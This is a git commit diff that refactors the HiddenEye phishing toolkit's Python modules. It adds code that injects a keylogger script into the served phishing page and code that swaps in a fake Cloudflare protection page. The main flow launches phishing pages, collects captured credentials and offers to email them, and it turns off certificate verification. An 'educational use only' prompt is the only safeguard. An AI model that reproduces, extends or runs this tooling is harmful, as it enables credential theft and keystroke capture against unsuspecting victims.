Fixed Exception

This commit is contained in:
sTiKyt 2020-05-06 18:00:28 +03:00
parent dc258385a9
commit 655360bd0c
10 changed files with 128 additions and 61 deletions

View File

@ -1,6 +1,9 @@
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path
from Defs.ThemeManager.theme import default_palette
from Defs.ActionManager.informant import exit_message, port_selector, module_loading_message
import Defs.ThemeManager.theme as theme
import Defs.ActionManager.simple_informant as simple_informant
default_palette = theme.default_palette
module_loading_message = simple_informant.module_loading_message
def start_main_menu():
@ -221,7 +224,7 @@ ________________________________________________________________________________
start_phishing_page('LOCATION', customOption)
else:
exit_message(port)
simple_informant.exit_message(port)
def start_phishing_page(page, custom_option): # Phishing pages selection menu
@ -356,7 +359,7 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
input('\nPress Enter To continue...')
else:
exit_message(port)
simple_informant.exit_message(port)
def enter_custom_redirecting_url(): # Question where user can input custom web-link
run_command('clear')

View File

@ -1,23 +1,10 @@
from Defs.ThemeManager.theme import default_palette
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait
from Defs.EmailManager.email_prompt import captured_data_email_request
from Defs.ActionManager.Server.server_menu import server_selection
import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_menu as server_menu
def terms_of_service_message(): # menu where user select what they wanna use
# Terms Of Service
wait(6)
run_command('clear')
orange = '\033[33m'
blue = '\033[34m'
purple = '\033[35m'
red = '\033[31m'
print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y':
run_command('clear')
print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4]))
exit()
default_palette = theme.default_palette
def exit_message(port): # Message when HiddenEye exit
choice = input(
@ -25,9 +12,9 @@ def exit_message(port): # Message when HiddenEye exit
if choice == 'R' or choice == 'r':
run_command('sudo python3 HiddenEye.py')
elif choice == 'M' or choice == 'm':
captured_data_email_request(port)
email_prompt.captured_data_email_confirmation(port)
elif choice == 'S' or choice == 's':
server_selection(port)
server_menu.server_selection(port)
elif choice == 'X' or choice == 'x':
run_command('clear')
print('''
@ -46,6 +33,21 @@ def exit_message(port): # Message when HiddenEye exit
run_command('clear')
return exit_message(port)
def terms_of_service_message(): # menu where user select what they wanna use
# Terms Of Service
wait(6)
run_command('clear')
orange = '\033[33m'
blue = '\033[34m'
purple = '\033[35m'
red = '\033[31m'
print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y':
run_command('clear')
print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4]))
exit()
def module_loading_message(module): # This one just show text..
print('''\n {0}[{1}*{0}] SELECT ANY ONE MODE...{0}\n--------------------------------'''.format(default_palette[0], default_palette[2]))

View File

@ -1,7 +1,8 @@
from Defs.ThemeManager.theme import default_palette
from Defs.ImportManager.unsorted_will_be_replaced import path, system, wait, run_command, getpass, base64
from Defs.ActionManager.informant import exit_message
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64
import Defs.ThemeManager.theme as theme
import Defs.ActionManager.simple_informant as simple_informant
default_palette = theme.default_palette
def captured_data_email_prompt():
run_command('clear')
@ -37,9 +38,9 @@ def captured_data_email_confirmation(port): # Ask user to start sending credent
print(
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
wait(2)
exit_message(port)
simple_informant.exit_message(port)
elif choice == 'N' or choice == 'n':
exit_message(port)
simple_informant.exit_message(port)
else:
system('clear')
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], default_palette[2]))

View File

@ -0,0 +1,28 @@
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command
import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette
def add_cloudflare_prompt():
run_command('clear')
print('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print("-------------------------------\n{0}[ CLOUDFARE PROTECTION PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A CLOUDFARE PROTECTION FAKE PAGE -{1}(Y/N)".format(default_palette[0], default_palette[4]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])).upper()
if choice == 'Y':
add_cloudfare()
else:
wait(1)
def add_cloudfare():
run_command('mv Server/www/index.* Server/www/home.php && cp WebPages/cloudfare.html Server/www/index.html')
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
wait(1)

View File

@ -0,0 +1,46 @@
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path
import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette
def add_keylogger_prompt():
run_command('clear')
print('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}!{0}]{1}ATTENTION: Adding Keylogger Mostly Kills the Tunnel Connection.\n".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE-{1}(Y/N)".format(default_palette[0], default_palette[4]))
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
if choice == 'Y':
add_keylogger()
else:
wait(1)
def add_keylogger():
if path.exists('Server/www/index.html'):
with open('Server/www/index.html') as f:
read_data = f.read()
c = read_data.replace(
'</title>', '</title><script src="keylogger.js"></script>')
f = open('Server/www/index.html', 'w')
f.write(c)
f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
wait(2)
else:
with open('Server/www/index.php') as f:
read_data = f.read()
c = read_data.replace(
'</title>', '</title><script src="keylogger.js"></script>')
f = open('Server/www/index.php', 'w')
f.write(c)
f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
wait(2)

View File

@ -1,10 +1 @@
default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] #Will be replaced later, TODO

View File

@ -3,24 +3,25 @@
# HiddenEye by https://dark-sec-official.com
#
from Defs.Languages import *
from Defs.Actions import cloudflarePrompt
from Defs.Configurations import *
from Defs.Checks import *
from os import system, environ
import Defs.ActionManager.main_runner as main_runner
import Defs.FeatureManager.keylogger as keylogger
import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.Server.server_menu as server_menu
import Defs.ActionManager.simple_informant as simple_informant
import multiprocessing
import gettext
import sys
import ssl
from os import system, environ
if(not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None)):
ssl._create_default_https_context = ssl._create_unverified_context
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
checkPermissions()
installGetText()
languageSelector()
checkConnection()
verCheck()
checkPHP()
@ -29,29 +30,24 @@ checkNgrok()
checkOpenport()
checkPagekite()
checkLT()
ifSettingsNotExists()
readConfig()
if __name__ == "__main__":
try:
runMainMenu()
mainMenu()
keyloggerprompt()
addingkeylogger()
cloudflarePrompt()
emailPrompt()
inputCustom()
port = selectPort()
main_runner.start_main_menu()
keylogger.add_keylogger_prompt()
cloudflare.add_cloudflare_prompt()
email_prompt.captured_data_email_prompt()
main_runner.enter_custom_redirecting_url()
port = simple_informant.port_selector()
##############
runServer(port)
selectServer(port)
server_runner.start_server(port)
server_menu.server_selection(port)
multiprocessing.Process(target=runServer, args=(port,)).start()
getCredentials(port)
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
simple_informant.credentials_collector(port)
except KeyboardInterrupt:
port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
endMessage(port)
simple_informant.exit_message(port)
exit()